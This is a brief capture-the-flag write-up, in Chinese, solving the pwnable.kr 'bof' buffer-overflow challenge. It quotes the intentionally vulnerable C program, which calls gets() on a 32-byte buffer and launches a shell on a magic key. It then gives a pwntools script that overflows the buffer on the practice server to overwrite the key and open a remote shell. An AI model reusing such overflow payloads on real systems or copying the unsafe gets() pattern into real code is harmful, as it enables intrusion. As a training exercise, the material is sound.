pwnable.kr wp bof

题目

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

题解

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

局部变量buf溢出覆盖到函数参数key, 使key == 0xcafebabe

from pwn import *

url, port = "pwnable.kr", 9000 
context(arch="i386", os="linux")
io = remote(url, port)

def pwn():
    payload = cyclic(44 + 4 * 2) + p32(0xcafebabe)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    pwn()
    io.interactive()